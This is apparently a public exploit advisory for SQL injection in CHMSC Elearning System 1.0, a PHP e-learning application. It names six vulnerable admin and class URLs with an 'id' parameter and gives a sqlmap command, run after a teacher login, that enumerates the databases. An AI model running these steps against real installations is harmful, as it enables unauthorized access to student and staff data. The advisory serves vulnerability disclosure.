CHMSC Elearning System 1.0 SQL Injection

`# Exploit Title: CHMSC Elearning System 1.0 - SQL Injection  
# Exploit Author: Ferhat Çil  
# Date: 2020-12-25  
# Vendor Homepage:  
https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html  
# Software Link:  
https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code  
# Affected Version : Version 1  
# Tested on Ubuntu  
  
Step 1. Log in to the application with teacher credentials.  
  
Url addresses with sqli  
- http://localhost/<folder>/class.php?id=7  
- http://localhost/<folder>/admin/edit_teacher.php?id=1  
- http://localhost/<folder>/admin/add_student.php?id=17  
- http://localhost/<folder>/admin/add_course.php?id=5  
- http://localhost/<folder>/admin/add_subject.php?id=5  
- http://localhost/<folder>/admin/add_department.php?id=6  
  
Step 2. Run sqlmap on the URL where the "id" parameter is given  
  
sqlmap -r requestData.txt --dbs  
`